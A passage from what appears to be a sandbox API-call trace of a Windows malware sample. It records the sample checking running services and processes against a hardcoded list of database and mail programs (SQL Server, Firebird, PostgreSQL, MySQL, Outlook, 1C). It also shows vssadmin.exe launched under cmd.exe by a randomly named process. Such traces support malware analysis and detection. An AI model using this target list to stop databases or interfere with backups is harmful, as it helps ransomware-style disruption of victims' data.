lpString2="TrkWks") returned -1 [0047.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0047.168] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0047.168] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0047.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0047.168] lstrlenW (lpString="UxSms") returned 5 [0047.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0047.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0047.169] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0047.169] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0047.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0047.169] lstrlenW (lpString="VSS") returned 3 [0047.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0047.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0047.169] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0047.169] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0047.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0047.169] lstrlenW (lpString="WdiServiceHost") returned 14 [0047.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0047.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0047.169] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0047.169] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0047.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0047.169] lstrlenW (lpString="WdiSystemHost") returned 13 [0047.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0047.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0047.169] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0047.169] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0047.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0047.169] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0047.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0047.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0047.169] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0047.169] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0047.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0047.169] lstrlenW (lpString="Winmgmt") returned 7 [0047.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0047.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0047.169] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0047.169] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0047.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0047.170] lstrlenW (lpString="WPDBusEnum") returned 10 [0047.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0047.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0047.170] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0047.170] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0047.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0047.170] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x40038c8 | out: hHeap=0x4b0000) returned 1 [0047.170] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x20c [0047.172] Process32FirstW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0047.173] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0047.173] lstrlenW (lpString="System") returned 6 [0047.173] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0047.173] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0047.173] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0047.173] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0047.173] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0047.173] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0047.173] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0047.173] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0047.174] lstrlenW (lpString="smss.exe") returned 8 [0047.174] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0047.174] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0047.174] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0047.174] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0047.174] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0047.174] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0047.174] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0047.174] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.175] lstrlenW (lpString="csrss.exe") returned 9 [0047.175] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0047.175] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0047.175] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0047.175] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0047.175] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0047.175] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0047.175] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0047.175] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0047.178] lstrlenW (lpString="wininit.exe") returned 11 [0047.178] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0047.178] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0047.178] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0047.178] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.179] lstrlenW (lpString="csrss.exe") returned 9 [0047.179] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0047.179] lstrlenW (lpString="winlogon.exe") returned 12 [0047.179] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0047.180] lstrlenW (lpString="services.exe") returned 12 [0047.180] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0047.181] lstrlenW (lpString="lsass.exe") returned 9 [0047.181] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0047.181] lstrlenW (lpString="lsm.exe") returned 7 [0047.181] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.182] lstrlenW (lpString="svchost.exe") returned 11 [0047.182] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.183] lstrlenW (lpString="svchost.exe") returned 11 [0047.183] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.183] lstrlenW (lpString="svchost.exe") returned 11 [0047.183] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.184] lstrlenW (lpString="svchost.exe") returned 11 [0047.184] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.185] lstrlenW (lpString="svchost.exe") returned 11 [0047.185] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0047.185] lstrlenW (lpString="audiodg.exe") returned 11 [0047.185] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.186] lstrlenW (lpString="svchost.exe") returned 11 [0047.186] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.187] lstrlenW (lpString="svchost.exe") returned 11 [0047.187] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0047.187] lstrlenW (lpString="dwm.exe") returned 7 [0047.187] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0047.188] lstrlenW (lpString="explorer.exe") returned 12 [0047.188] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0047.189] lstrlenW (lpString="spoolsv.exe") returned 11 [0047.189] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0047.189] lstrlenW (lpString="taskhost.exe") returned 12 [0047.189] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.190] lstrlenW (lpString="svchost.exe") returned 11 [0047.190] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0047.191] lstrlenW (lpString="taskeng.exe") returned 11 [0047.191] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0047.192] lstrlenW (lpString="taskhost.exe") returned 12 [0047.192] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0047.192] lstrlenW (lpString="chem venues.exe") returned 15 [0047.192] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0047.193] lstrlenW (lpString="month.exe") returned 9 [0047.193] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0047.194] lstrlenW (lpString="glasgow.exe") returned 11 [0047.194] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0047.194] lstrlenW (lpString="rubber.exe") returned 10 [0047.195] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0047.195] lstrlenW (lpString="petroleum.exe") returned 13 [0047.195] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0047.196] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0047.196] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0047.551] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0047.552] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0047.580] lstrlenW (lpString="batman_oliver.exe") returned 17 [0047.580] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0047.581] lstrlenW (lpString="formation.exe") returned 13 [0047.581] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0047.581] lstrlenW (lpString="whole.exe") returned 9 [0047.581] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0047.582] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0047.582] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0047.583] lstrlenW (lpString="disorder.exe") returned 12 [0047.583] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0047.583] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0047.583] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0047.584] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0047.584] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0047.585] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0047.585] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0047.585] lstrlenW (lpString="perspective.exe") returned 15 [0047.585] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0047.586] lstrlenW (lpString="demand-site.exe") returned 15 [0047.586] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0047.587] lstrlenW (lpString="attachment.exe") returned 14 [0047.587] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0047.587] lstrlenW (lpString="valid-permit.exe") returned 16 [0047.587] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0047.588] lstrlenW (lpString="knights.exe") returned 11 [0047.588] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0047.588] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0047.588] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0047.589] lstrlenW (lpString="ohbdap.exe") returned 10 [0047.589] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0047.590] lstrlenW (lpString="cmd.exe") returned 7 [0047.590] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0047.590] lstrlenW (lpString="conhost.exe") returned 11 [0047.590] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0047.591] lstrlenW (lpString="vssadmin.exe") returned 12 [0047.591] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0047.592] lstrlenW (lpString="VSSVC.exe") returned 9 [0047.592] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.592] lstrlenW (lpString="svchost.exe") returned 11 [0047.592] Process32NextW (in: hSnapshot=0x20c, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0047.593] CloseHandle (hObject=0x20c) returned 1 [0047.593] Sleep (dwMilliseconds=0x1f4) [0048.238] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52fff8 [0048.238] EnumServicesStatusExW (in: hSCManager=0x52fff8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0048.238] GetLastError () returned 0xea [0048.238] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12c6) returned 0x5a5d28 [0048.239] EnumServicesStatusExW (in: hSCManager=0x52fff8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5a5d28, cbBufSize=0x12c6, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5a5d28, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0048.239] CloseServiceHandle (hSCObject=0x52fff8) returned 1 [0048.239] lstrlenW 